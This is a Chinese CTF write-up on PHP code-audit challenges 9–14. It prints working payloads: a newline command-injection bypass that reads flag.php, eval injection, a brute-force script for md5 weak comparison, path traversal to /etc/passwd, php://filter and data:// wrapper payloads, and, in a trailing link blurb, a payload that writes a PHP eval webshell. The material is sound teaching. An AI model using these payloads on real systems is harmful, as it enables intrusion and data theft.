【代碼審計】PHP代碼審計之CTF系列(2)

2022-02-07 Tide安全團隊

聲明:Tide安全團隊原創文章,轉載請聲明出處!文中所涉及的技術、思路和工具僅供以安全為目的的學習交流使用,任何人不得將其用於非法用途以及盈利等目的,否則後果自行承擔!

PS:接上篇PHP代碼審計之CTF系列(1)challenge 9

訪問頁面,查看源碼

<?php
if(isset($_REQUEST[ 'ip' ])) {
$target = trim($_REQUEST[ 'ip' ]);
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c 4 ' . $target );
echo $target;
echo "<pre>{$cmd}</pre>";
}
show_source(__FILE__);
?>

觀察代碼,發現主要獲取的用戶輸入的IP參數,然後進行ping命令操作。

而且其中過濾很多管道符,不過依然可以使用%0als進行繞過。

payload:

?ip=127.0.0.1%0als

可以查看到flag.php位置,在使用cat命令讀取flag.php文件內容。payload:

?ip=127.0.0.1%0acat flag.php

trim() 函數

trim() 函數移除字符串兩側的空白字符或其他預定義字符。

一般是用來去除字符串首尾處的空白字符(或者其他字符),一般在用在服務端對接收的用戶數據進行處理,以免把用戶誤輸入的空格存儲到資料庫,下次對比數據時候出錯。

常見繞過空格命令分隔符

1、%0a符號:換行符

2、%0d符號:回車符

3、< 號

4、%09符號

5、$IFS$9(數字無限制)符號

6、${IFS}符號

7、,號

8、<>號

9、$IFS符號

10、以及過濾掉的內容

challenge 10

題目內容:

<?php
require __DIR__.'/flag.php';
if (isset($_POST['answer'])){
$number = $_POST['answer'];
if (noother_says_correct($number)){
echo $flag;
} else {
echo "Sorry";
}
}

function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
# Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
# Disallow all the digits!
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
# Aha, digit not allowed!
return false;
}
}
# Allow the magic number ...
return $number == "3735929054";
}

highlight_file(__FILE__);
?>

觀察題目,發現題目並不複雜。

發現其中:

for ($i = 0; $i < strlen($number); $i++)
{
# Disallow all the digits!
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
# Aha, digit not allowed!
return false;
}
}

發現要求傳入的每一個值都不能大於等於1小於等於9

如果滿足條件,則進行判斷

$number == "3735929054";

傳入的值需與3735929054一致,看到這裡,我們應該就會想到PHP弱類型比較

我們查看一下3735929054的其他進位內容

發現

>>> hex(3735929054)
'0xdeadc0de'

十六進位的3735929054,只包含字母與0,滿足條件

所以

"0xdeadc0de" == "3735929054"

payload:

POST: answer=0xdeadc0de

ord() 函數

ord() 函數:返回字符串的首個字符的 ASCII 值。

challenge 11

查看題目

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>

發現使用了

preg_match('/^\w*$/',$a )

進行正則匹配,要求hello的輸入必須為數字和字母的組合。

繼續查看下方,發現存在eval()函數,查看是否可以進行閉合var_dump(),造成命令執行。

查看發現過濾了符號,無法閉合,所以不能通過閉合var_dump()造成命令執行。

不過,發現var_dump()中存在$$a,可以輸出對應的變量值,但前提是需要知道flag的變量名,如果不知道,爆破也不知道從哪裡開始。

不過PHP中還存在一個特殊的變量,引用全局作用域中可用的全部變量:

$GLOBALS #(具體方法解釋可向下方查看)

所以構造payload:

?hello=GLOBALS

當然使用POST進行傳輸也可以,主要的關鍵就是

var_dump($GLOBALS)

會遍歷所有可以遍歷的內容,有興趣的可以自己試一試,就比如

preg_match() 函數

preg_match 函數用於執行一個正則表達式匹配。

語法

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )

返回值:返回 pattern 的匹配次數。它的值將是 0 次(不匹配)或 1 次,因為 preg_match() 在第一次匹配後 將會停止搜索。preg_match_all() 不同於此,它會一直搜索subject 直到到達結尾。如果發生錯誤preg_match()返回 FALSE。

參數說明:

參數說明:

$pattern: 要搜索的模式,字符串形式。

$subject: 輸入字符串。

$matches: 如果提供了參數matches,它將被填充為搜索結果。$matches[0]將包含完整模式匹配到的文本, $matches[1] 將包含第一個捕獲子組匹配到的文本,以此類推。

$flags:flags 可以被設置為以下標記值:

PREG_OFFSET_CAPTURE: 如果傳遞了這個標記,對於每一個出現的匹配返回時會附加字符串偏移量(相對於目標字符串的)。

注意:這會改變填充到matches參數的數組,使其每個元素成為一個由 第0個元素是匹配到的字符串,第1個元素是該匹配字符串 在目標字符串subject中的偏移量。

offset: 通常,搜索從目標字符串的開始位置開始。可選參數 offset 用於 指定從目標字符串的某個位置開始搜索(單位是字節)。

舉個例子,比如:

查找文本字符串」php」:

<?php
//模式分隔符後的"i"標記這是一個大小寫不敏感的搜索
if (preg_match("/php/i", "PHP is the web scripting language of choice.")) {
echo "查找到匹配的字符串 php。";
} else {
echo "未發現匹配的字符串 php。";
}
?>

執行結果如下所示:

查找到匹配的字符串 php。

$_REQUEST、$_POST、$_GET的區別和聯繫1、$_REQUEST

PHP中,$_REQUEST可以獲取POST方法和GET方法提交的數據,但是傳輸的速度相對較慢。

2、$_GET

$_GET用來獲取由瀏覽器通過$_GET方法提交的數據。$_GET方法就是通過把參數數據加在提交表單的action屬性所指的URL中,值和表單內的每個欄位一一對應,並且在URL中可以看到,但是同樣也存在問題:

安全性差,在URL中可以體現

傳輸數據量較小,不能大於2KB。

$_POST

$_POST用來獲取由瀏覽器通過POST方法提交的數據。$_POST方法是通過HTTP POST機制,將表單的各個欄位放置在HTTP HEADER內一起傳送到action屬性所指的URL中,用戶看不到此過程。提交的大小一般來說不受限制,但是具體根據伺服器的不同,略有不同,比如PHP版本5.512,默認POST最大值為3M,有的則為8M,IIS6默認最大則為200K。

相對於$_GET方法安全性稍高。

3、三者之間的區別和聯繫

$_REQUEST["參數"]具用$_POST["參數"], $_GET["參數"]的功能,但是$_REQUEST["參數"]比較慢。通過$_POST和$_GET方法提交的所有數據都可以通過$_REQUEST數組["參數"]獲得。

$GLOBALS超全局變量分析

PHP中有一個鮮為人知的超全局變量$GLOBALS。

$GLOBALS定義:引用全局作用域中可用的全部變量(一個包含了全部變量的組合數組。變量的名字就是數組的鍵),與所有其他超全局變量不同,$GLOBALS在PHP代碼中的任何地方都是可用的,可以通過列印$GLOBALS變量查看結果驗證。

在PHP生命周期中,定義在函數體外部的全局變量,函數內部是不能直接獲得的。如果要在函數體內訪問外部定義的全局變量,可以通過global聲明或者直接使用$GLOBALS來進行訪問。

比如:

<?php
$var1='www.tidesec.com';
$var2='www.tidesec.net';
test();
function test(){
$var1='tide';
echo $var1,'<br />';
global $var1;
echo $var1,'<br />';
echo $GLOBALS['var2'];
}

輸出結果為:

tide
www.tidesec.com
www.tidesec.net

其中global和$GLOBALS的區別:

$GLOBALS['var']是外部全局變量的本身,而global $var則是外部$var的同名引用或者說是指針,也就是說global函數產生一個指向函數外部變量的別名變量,而不是真正的函數外部變量,而$GLOBALS[]確確實實調用的是外部的變量,函數內外都會始終保持一致。

舉個例子:

$var1=tide;
$var2=tidesec;
function test(){
$GLOBALS['var2']=&$GLOBALS['var1'];
}
test();
echo $var2;

結果為:

tide

$var1=tide;
$var2=tidesec;
function test(){
global $var1,$var2;
$var2=&$var1;
}
test();
echo $var2;

結果為:

tidesec

結果之所以為tidesec,原因為$var1的引用指向了$var2的引用地址。導致實質的值沒有發生變化。

$var1=tide;
function test(){
global $var1;
unset($var1);
}
test();
echo $var1;

結果為:

tide

這就說明,刪除的只是別名或者說是引用,其本身作用的值沒有受到任何的影響。也就是說,global $var其實是$var = &$GLOBALS['var'],調用外部變量的一個別名而已。

challenge 12

訪問頁面,獲得邏輯源碼

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

觀察題目,發現其中沒有什麼特別需要注意的地方,直接輸出了$a,也就是hello參數的值,而且題目顯示flag也不在變量中,也無法使用上一題學習到的$GLOBALS超全局變量進行遍歷,也沒有過濾。

所以之只能考慮閉合var_dump($a)函數並構造其他的語句進行執行,並且因為flag在flag.php中,所以我們考慮直接列印flag.php內容。

構造payload:

?hello=);var_dump(file("flag.php"));//

構造出

var_dump();var_dump(file("flag.php"));//);

成功讀取到flag.php文件內容。

challenge 13

訪問頁面,查看源碼信息。

<?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}

if($_SESSION['nums']>=10){
echo $flag;
}

show_source(__FILE__);
?>

觀察代碼,發現主要限制在於

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}

其中參數whoami要滿足兩個條件,一個是滿足whoami輸入的值與產生的隨機值相等,另一個條件就是要滿足md5($value)從第五位取,取四位,能夠==0,其中後一個條件其實可以通過PHP的弱比較來進行利用,也就是說,只要保證第五位值為字母,就可以滿足(md5($value),5,4) == 0。

另外需要滿足的條件就是

if($_SESSION['nums']>=10){
echo $flag;
}

需要在120秒內,連續訪問10次,條件都滿足的情況下,可以得到flag。

作者給出了相關的腳本進行破解

import requests
import hashlib
import random

def get_value(given):
global dict_az
for i in range(1000000):
result = given
result += random.choice(dict_az)
result += random.choice(dict_az)
result += random.choice(dict_az)
result += random.choice(dict_az)
result += random.choice(dict_az)
result += random.choice(dict_az)
m = hashlib.md5(result)
m = m.hexdigest()
if m[5:9] == "0000":
print "success"
return result
else:
pass


def main(url_s):
session = requests.Session()
result = "ea"
for i in range(10):
url = url_s
resp = session.get(url+result)
the_page = resp.text
result = get_value(the_page[0:2])
print "nums = %d" % i
print the_page


if __name__ == "__main__":
dict_az = "abcdefghijklmnopqrstuvwxyz"
url = "http://IP:PORT/challenge13.php?value="
main(url)

其實可以看到,破解腳本中採用的是絕對的選擇,也就是說,除第一次請求外,每次請求都會回顯產生的隨機數,然後在其後面進行拼接,拼接6個。在腳本中需要滿足的條件是產生的6位內容需要滿足

m[5:9] == "0000"

經過測試發現,拼接的內容可以4位,不必6位,原因就是使用弱比較,當然,這個地方的判斷條件是絕對滿足的,所以擴大拼接位數,可以更容易的滿足條件。

result += random.choice(dict_az)

其實,除了第一次傳輸的whoami為ea,後面需要傳輸的值都是前一次傳輸返回生成的隨機值,使用返回生成的隨機值+字母(第3位)+任意值(第4-6位)就可以滿足,如果手速夠快,獲取也可以(手動滑稽)

mt_srand()

mt_srand() 播種 Mersenne Twister 隨機數生成器。

注釋:自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函數給隨機數發生器播種,現已自動完成。

PHP隨機函數

PHP隨機函數主要有rand、mt_rand、array_rand,還有隨機」排列」(打亂順序)的函數shuffle、str_shuffle,以及能夠產生唯一ID的uniqid。

1、rand()

rand()函數返回隨機整數。

如果沒有提供可選參數 min 和 max,rand() 返回 0 到 RAND_MAX 之間的偽隨機整數。例如,想要 5 到 15(包括 5 和 15)之間的隨機數,用 rand(5, 15)。

rand()函數是使用libc的隨機數發生器生成隨機數的,一般較慢,且有不確定因素。

其中getrandmax()函數可以返回rand函數能夠產生的最大的隨機數,在設置rand()函數第二個參數時可以設置為getrandmax()的返回值。

比如:

<?php
$base = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$count = strlen($base);
$random = '';
for ($i=0; $i < 16; $i++) {
$random.=$base[rand(0,$count-1)];
}
echo $random;
echo "<br/>";
echo getrandmax();
?>

2、mt_rand()函數

mt_rand() 使用 Mersenne Twister 算法返回隨機整數。

如果沒有提供可選參數 min 和 max,mt_rand() 返回 0 到 RAND_MAX 之間的偽隨機數。例如想要 5 到 15(包括 5 和 15)之間的隨機數,用 mt_rand(5, 15)。

很多老的 libc 的隨機數發生器具有一些不確定和未知的特性而且很慢。PHP 的 rand() 函數默認使用 libc 隨機數發生器。mt_rand() 函數是非正式用來替換它的。該函數用了 Mersenne Twister 中已知的特性作為隨機數發生器,它可以產生隨機數值的平均速度比 libc 提供的 rand() 快四倍。

注釋:自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函數給隨機數發生器播種,現在已自動完成。

比如:

<?php
echo(mt_rand());
echo(mt_rand());
echo(mt_rand(10,100));
?>

3、array_rand()函數

array_rand() 函數返回數組中的隨機鍵名,或者如果您規定函數返回不只一個鍵名,則返回包含隨機鍵名的數組。

array_rand() 函數從數組中隨機選出一個或多個元素,並返回。

第二個參數用來確定要選出幾個元素。如果選出的元素不止一個,則返回包含隨機鍵名的數組,否則返回該元素的鍵名。

比如:

<?php
$a=array("red","green","blue","yellow","brown");
$random_keys=array_rand($a,3);
echo $a[$random_keys[0]]."<br>";
echo $a[$random_keys[1]]."<br>";
echo $a[$random_keys[2]];
?>

4、shuffle()函數

<?php
$my_array = array("red","green","blue","yellow","purple");

shuffle($my_array);
print_r($my_array);
?>

5、str_shuffle()函數

<?php
echo str_shuffle("I love Shanghai");
?>

6、uniqid()函數

uniqid(prefix,more_entropy)

如果 prefix 參數為空,則返回的字符串有 13 個字符串長。如果 more_entropy 參數設置為 true,則是 23 個字符串長。

如果 more_entropy 參數設置為 true,則在返回值的末尾添加額外的熵(使用組合線形同餘數生成程序),這樣可以結果的唯一性更好。

返回值:以字符串的形式返回唯一標識符。

注釋:由於基於系統時間,通過該函數生成的 ID 不是最佳的。如需生成絕對唯一的 ID,請使用 md5() 函數。

如果單獨使用uniqid()方法,不帶任何參數的話,這個方法只能保證單個進程,在同一個毫秒內是唯一的。如果使用uniqid(「」,true),帶了一個墒值,自身已經有一個隨機的方法能保證生成的id的隨機性。但是由於線性同餘是比較簡單的生成隨機數的算法,隨機性有可能還不夠。所以大多數採用的方法為:

nuiqid(mt_rand(), true)

其中mt_rand()生成隨機數是採用Mersenne Twister Random Number Generator (梅森旋轉算法)而不是線性同餘的方法生成。

這樣的話就由兩種隨機算法和時間戳生成,能夠在很大程度上保證唯一性,這種方法給出的id會有一個點號,而且長度並不是128bit。

不過,nuiqid()函數基於微秒級當前時間戳,在高並發或者時間間隔極短(如循環代碼)的情況下,會出下大量的重複數據。

所以官方推薦使用md5進行結合。

md5(uniqid(mt_rand(), true))

md5(uniqid(md5(microtime(true)),true))

mt_rand()函數安全問題

不過需要注意的是,因為mt_rand()隨機數的安全問題已經出現了很多,簡單來說造成的原因就是mt_rand()函數並不是一個真隨機數生成函數,實際上絕大部分程式語言中的隨機數函數生成都是偽隨機數。

偽隨機數是由可確定的函數(常用線性同餘),通過一個種子(常用時鐘),產生的偽隨機數。這意味著,如果知道了種子,或者已經產生的隨機數,都可能獲得接下來隨機數序列的信息(可預測性)。

簡單的來說明一下,mt_rand()內部生成隨機數的函數為:

rand = seed + (i * 10)

其中seed是隨機數種子,i是第幾次調用這個隨機數函數。如果我們同時知道i和rand兩個值的時候,就能很容易的算出seed的值來。比如rand = 21,i = 2帶入函數,21 = seed + (2 * 10)得到seed = 1。也就是說,當拿到seed之後,就能計算出當i為任意值時rand的值。

之所以說會有很多的不安全性,也不只函數本身,函數本事並沒有問題,而且官方也明確提示了生成的隨機數不應用與安全加密用途。那所產生的不安全性來自於哪裡,其實來自於開發者本身,當開發者為認識到這並不是一個真隨機數時,就會出現安全問題。

剛剛所說,通過已知的隨機數序列可以爆破出種子,也就是說,只要任意頁面中存在隨機數或者其衍生值(可逆推隨機值),那麼其他任意頁面的隨機數將不再是」隨機數」。

常見的輸出隨機數的例子比如驗證碼,隨機文件名等。

常見的隨機數用於安全驗證的比如找回密碼校驗值,比如加密key等。

來幻想一下…當apache(nginx)回收所有PHP進程(確保下次訪問會重新播種),訪問一次驗證碼頁面,根據驗證碼字符逆推出隨機數,再根據隨機數爆破出隨機數種子。然後訪問找回密碼頁面,生成的找回密碼連結是基於隨機數的,然後就可以計算出這個連結,找回管理員用戶密碼…雖然是幻想,但要是有一天實現了呢

challenge 14

訪問頁面,觀察邏輯代碼

<?php
show_source(__FILE__);
if(isset($_REQUEST['path'])){
include($_REQUEST['path']);
}else{
include('phpinfo.php');
}

發現代碼中include直接進行拼接$_REQUEST['path'],沒有進行任何的過濾,判斷為文件包含。

進行嘗試,訪問/etc/passwd查看是否可以訪問

?path=../../../../etc/passwd

發現可以讀取。

但是發現無法獲取flag文件的位置以及文件名

這時候想到phpinfo信息中,包含有php配置,其中allow_url_include如果為on的話,我們就可以使用PHP偽協議進行訪問,查找配置,發現allow_url_include為on,所以使用php://filter來讀取目標文件。

構造payload:

?path=php://filter/convert.base64-encode/resource=flag.php

得到base64加密後的flag結果,進行base64解密得到。

文件包含相關函數

其中涉及到文件包含的函數有:

include
require
include_once
require_once
highlight_file
show_source
readfile
file_get_contents
fopen
file

PHP偽協議

要滿足PHP偽協議,基於函數include和include_once()的利用情況。

另外就是PHP.ini環境問題:

allow_url_fopen: On 默認開啟,選項為On時,激活了URL形式的fopen封裝協議,就可以訪問URL對象文件
allow_url_include: Off 默認關閉,選項為On時,允許包含URL對象文件。

是否需要截斷:PHP版本<=5.2可以使用%00進行截斷。

比如:

http://127.0.0.1/test.php?file=file:///d:/test/test/flag.txt%00

<?php

include($_GET['file'].』.php』)

?>

常用協議:

file:// — 訪問本地文件系統
http:// — 訪問 HTTP(s) 網址
ftp:// — 訪問 FTP(s) URLs
php:// — 訪問各個輸入/輸出流(I/O streams)
zlib:// — 壓縮流
data:// — 數據(RFC 2397)
glob:// — 查找匹配的文件路徑模式
phar:// — PHP 歸檔
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音頻流
expect:// — 處理交互式的流

利用條件:

1、協議:file://

2、協議:php://

利用條件:不需要開啟allow_url_fopen(僅php://input,php://stdin,php://memory和php://temp需要allow_url_include=On)

說明:訪問IO流

用法:php://input 可以訪問請求的原始數據的只讀流,將post請求中的數據作為php代碼執行。

3、協議:zip://,bzip2://,zlib://

利用條件:雙Off條件下可使用

說明:zip://test.zip#x.txt zip://絕對路徑#子文件名

x.txt內容就會以php代碼執行

compress.bzip2://test.bz2和compress.zlib://test.gz用法相同

/include.php?file=compress.bzip2://絕對路徑/shell.jpg 或者 compress.bzip2://./shell.jpg

用法:可以訪問壓縮文件中的子文件,更重要的是不需要指定後綴名

4、協議:data://

利用條件:雙On

說明:

/include.php?file=data://text/plain,<?php phpinfo();?>
或者 data://text/plain;base64,PD9waHAgcGhwaW5mbygpPw4=
或者 data:text/plain,<?php phpinfo();?>
或者 data:text/plain;base64,PD9waHAgcGhwaW5mbygpPw4=

同樣以string可寫入php代碼,並執行

總結一下,其中僅php://input、php://stdin、php://memory、php://temp需要開啟allow_url_include,其中php://訪問各個輸入/輸出流(I/O streams),php://filter用於讀取源碼,php://input用於執行php代碼。

php://input可以訪問請求的原始數據的只讀流,將post請求中的數據作為php代碼執行。

zip://, bzip2://, zlib:// 均屬於壓縮流,可以訪問壓縮文件中的子文件,而且不需要指定後綴名。

其中需要注意的是,php://filter讀取原始碼需要使用base64編碼輸出,不然會當作php代碼直接執行。

Tide安全團隊正式成立於2019年1月是新潮信息旗下以網際網路攻防技術研究為目標的安全團隊,團隊致力於分享高質量原創文章、開源安全工具、交流安全技術,研究方向覆蓋網絡攻防、Web安全、移動終端、安全開發、物聯網/工控安全/AI安全等多個領域。

對安全感興趣的小夥伴可以關注團隊官網: http://www.TideSec.com 或長按二維碼關注公眾號:

相關焦點

  • 【代碼審計】PHP代碼審計之CTF系列(3)
    payload:http://127.0.0.1/ctf/1.php?file=http://127.0.0.1//ctf/1.php?file%3Dhttp%3A%2F%2F127.0.0.1%2F%26path%3D%253C%253Fphp%2520eval(%2524_POST%255B'x'%255D)%253B%253F%253E&path=a.php寫入一句話,直接菜刀列舉網站目錄即可。
  • 代碼審計入門實戰
    關於Seay原始碼審計系統工具的使用,可以通過下面的實驗進行學習:實驗地址留言或私信獲取哦2、 RIPSRIPS通過標記和解析所有原始碼文件,自動檢測PHP應用程式中的漏洞。總結一下in_array函數的審計流程:大家可以訪問合天網安實驗室,學習in_array函數缺陷引發的相關漏洞及其利用方式二、PHP代碼審計之filter_var函數filter_var函數定義:
  • PHP代碼審計要點
    前言隨著代碼安全的普及,越來越多的開發人員知道了如何防禦sqli、xss等與語言無關的漏洞,但是對於和開發語言本身相關的一些漏洞和缺陷卻知之甚少
  • 搜索 PHP代碼審計之旅
    但如果這些代碼是分布在一套源碼中(如CMS),需要我們去發現,去找到並會利用,就需要有一定的查找以及利用思路,這次測試的是BlueCMS1.6,重要不在於去復現這個CMS的漏洞,而在先了解一下整個審計思路還有過程是怎麼樣的,去鍛鍊自己的審計能力。由於我比較菜,所以有錯誤的地方也請師傅們指正。何為白盒、黑盒、灰盒測試審計代碼會經常遇到這三個名詞,這又代表是什麼意思那?
  • PHP代碼審計
    代碼審計顧名思義就是檢查原始碼中的缺點和錯誤信息,分析並找到這些問題引發的安全漏洞,並提供代碼修訂措施和建議
  • 代碼審計之php.ini配置詳解
    short_open_tag = On作用: 這個設置決定是否允許使用PHP代碼開始標誌的縮寫形式 <? ?> 版本特性: 本特性5.2-5.3版本中測試都是默認開啟的Note:本指令也會影響到縮寫形式 <?=,它和 <?
  • PHP代碼審計之漫畫CMS
    最近一直在學習代碼審計的相關課程,也在找一些通用的CMS在練習,剛好在安全群裡認識了一位志同道合的道友,於是就一起研究學習,前期還是不怎麼太會,所以也一直兩個人相互傳授經驗和交流,不過還好經過不斷的奮戰和努力終於出來了第一個洞,以下是相關步驟詳情,請各位大佬批評指正:這個CMS是PHP採用路由方式開發,前期總是找不到類和函數的調用地方,找了兩天才有所發掘,找到sys/apps
  • PHP代碼審計之----任意文件操作
    php代碼審計中和文件相關的操作主要包含如下幾種:文件包含: include/require
  • PHP代碼審計Day1 - in_array函數缺陷
    前言大家好,我們是紅日安全-代碼審計小組。最近我們小組正在做一個PHP代碼審計的項目,供大家學習交流,我們給這個項目起了一個名字叫 PHP-Audit-Labs 。現在大家所看到的系列文章,屬於項目 第一階段 的內容,本階段的內容題目均來自 PHP SECURITY CALENDAR 2017 。
  • 二.PHP代碼審計涉及到的超全局變量
    · 出品|安全幫(www.secbang.com)概述:安全幫專注安全教育大牛繞過 針對零基礎小白【本章目的】掌握代碼審計中常用的代碼調試函數Test.php中定義變量$secbang,值為secbanger。使用echo $GLOBALS['secbang']輸出全局變量$secbang的值,對變量$secbang加上$GLOBALS,即定義該變量為全局變量訪問http://localhost/test.php」,顯示「secbanger」。Demo2.
  • php代碼審計總結
    echoprintprintfvprintf<%=$test%>存在文件包含的函數includeinclude_oncerequirerequire_onceshow_sourcehighlite_filereadfileflie_get_contentsfopen存在代碼注入的函數
  • PHP代碼審計中常用代碼調試函數與注釋
    出品|安全幫(www.secbang.com)概述:安全幫專注安全教育【本章目的】掌握代碼審計中常用的代碼調試函數
  • XDCMS V1 代碼審計之旅
    3:訪問特定功能點,進行特定代碼審計,也就是說一個功能點看一段代碼(這裡如果出現了過濾函數,基本上可以在2中找到)審計之旅先打開首頁看看,看到有登陸框和註冊框,那就先從註冊框開始審計,查看代碼,蕪湖,沒有進行過濾,直接調用,舒服了(這裡默認後綴為.php)
  • 代碼審計難?掌握這個學習思路,穩贏!
    代碼審計指的是對原始碼進行檢查,尋找代碼中的Bug和安全缺陷,分析並找到這些問題引發的安全漏洞,提供代碼修訂措施和建議。
  • 滲透文章分享(3)——代碼審計/漏洞分析
    ★★★php代碼審計/漏洞分析★★★★百家cms代碼審計https://xz.aliyun.com/t/7542★zzzcms php 1.7.5版本代碼審計初探https://xz.aliyun.com/t/7239★usual*** CMS 8.0代碼審計https://xz.aliyun.com/t/8100★MKCMS代碼審計小結
  • [網絡安全] 三十九.WHUCTF (2)代碼審計和文件包含漏洞繞過(ezphp、ezinclude)
    初入安全領域,是非常痛苦和難受的,要學的東西太多、涉及面太廣,但好在自己通過分享100篇「網絡安全自學」系列文章,艱難前行著。感恩這一年相識、相知、相趣的安全大佬和朋友們,如果寫得不好或不足之處,還請大家海涵!
  • php代碼審計學習之函數缺陷
    $_GET['param'] : null;$param2 = isset($_GET['param2']) ?name=GlobIterator&param=./*.php&param2=0http://127.0.0.1:8888/index.php
  • PHP代碼審計四
    ,漏洞根據不同的代碼可以導致各種攻擊,如代碼注入、SQL注入、目錄遍歷等等<?32 字符十六進位數$a = array("1","2","3");$b = array("1","2","4");var_dump(md5($a) == md5($b));  strcmp函數int strcmp ( string $str1 , string $str2 )
  • 【陳年舊文】PHP SECURITY CALENDAR2017 代碼審計(一)
    $this->file['name'] ); }//if over }//destruct over}//class Challenge over$challenge = new Challenge($_FILES['solution']);?
  • 【一起玩蛇】Python代碼審計中的那些器I
    曾今向前輩請教過,如何學習代碼審計;曾今向大牛問起過,如何學好代碼審計……得到的答案總是出乎的一致:多讀,多審,多寫